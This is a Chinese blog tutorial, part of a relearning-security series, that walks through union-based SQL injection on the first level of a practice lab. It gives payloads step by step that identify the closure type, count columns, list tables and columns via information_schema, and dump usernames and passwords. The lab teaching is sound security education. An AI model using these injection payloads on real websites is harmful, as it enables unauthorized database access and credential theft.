35岁重学网络安全——SQL注入篇(七)

鲁迅先生曾经说过:做安全,先免责!

用户在使用本文信息时,应自行承担风险。本文不对用户因使用本文信息而导致的任何直接或间接损失承担责任。

首先明确一点:不管按照什么分类的注入,最终的目的都是获取数据库中的有用信息(如:用户名和密码)

union注入基本流程

数字型比字符型少了一个步骤,即闭合方式的判断
在这里插入图片描述

字符型union注入

打开靶场第一关

在这里插入图片描述

1.判断注入点

因为是靶场,所以注入点很容易判断。在实际环境中,需要耐心查找测试
hackbar的两个功能按钮

  • Load URL:将浏览器地址栏中的地址自动加载到右侧方框中
  • Execute:访问右侧方框中的URL地址,等同于在浏览器的地址栏中按下回车
    在这里插入图片描述

2.判断注入类型

参数:?id=2-1
参数?id=2-1与参数?id=2在页面中的显示结果(即Your Login nameYour Password后面的数据一样)一样,没有对2-1进行减法运算,所以说明为字符型注入

  • 如果是数字型,则参数?id=2-1与参数?id=1有相同的显示结果
    在这里插入图片描述

3.判断闭合类型

常见的闭合方式无非就是前面介绍的那几种,而且第一关的标题也写了是单引号闭合。这里就不罗嗦了,看一下效果就过了。

使用单引号测试,会产生错误。
在这里插入图片描述

使用注释符,注释掉源代码中sql语句后面的内容,正常显示查询结果,说明使用的是单引号闭合。
在这里插入图片描述

4.判断列数

参数:?id=2' order by 5--+

  • order by n:按照第n列排序,如果没有第n列,产生报错
  • n可以自己随机取值,只要能判断出表的列数即可
    • 5报错,则列数小于5;使用3试一下,不报错;使用4试一下,报错。说明列数为3
      在这里插入图片描述

前面的文章已经在数据库中看过这张表了,所以不再多说了。列数为3

在这里插入图片描述

5.union注入查数据

5.1 找回显位

参数:?id=2' union select 1,2,3--+
执行完成后,可以看出显示的是id=2的信息,没有union后面select语句的查询内容

在这里插入图片描述

这个在前面的文章中其实有提到过,我们构造的union查询语句应该返回两条数据,因为使用两个select语句:一个查询id=2的用户信息,一个查询1,2,3

id=2的用户信息占据了页面中的显示位置,所以无法显示1,2,3

可以这样构造参数:?id=-2' union select 1,2,3--+,没有id=-2的用户,所以不会产生查询结果

在这里插入图片描述

通过上图可以看到,页面中显示出了数字2和数字3,说明两者为回显位

5.2查数据库

查询当前使用的数据库,参数:?id=-2' union select 1,2,database()--+

在这里插入图片描述

5.3 查数据表

查询数据库security下的所有表(利用information_schema库)

参数

union select 1,database(),table_name from information_schema.tables where table_schema=(select database())--+

在这里插入图片描述

security库下有多张表,图中只显示了第一个,可以使用group_concat()将所有的表拼接为一行,显示出来。

union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=(select database())--+

在这里插入图片描述

凭直觉来讲,users表中肯定存储着用户名和密码

5.4 查数据列

已经找到了users表,还需要知道表中的列名,才可以查询该列下对应的数据

union select 1,database(),group_concat(column_name) from information_schema.columns 
where table_schema=(select database()) 
	and table_name='users'--+
  • 这里使用了information_schema库中的columns
  • where后面根了两个条件:一个指定数据库为security,一个指定表名为users
    在这里插入图片描述
5.5 查询数据

前面已经知道了数据库名为security;表名为users;列名为usernamepassword

直接查询数据即可

union select 1,database(),group_concat(username,'~',password) from users--+

在这里插入图片描述

group_concat(username,'~',password)中的~是将用户名和密码使用~分隔开,便于查看,记住这种用法即可。

无情的广告时间

哈哈哈哈,又到了大家喜欢的广告时间了,公众号:编码魔坊,喜欢的话给个关注呗,点击下方小卡片,扫码即可关注,谢谢您的关注!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

道人禅(armey)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值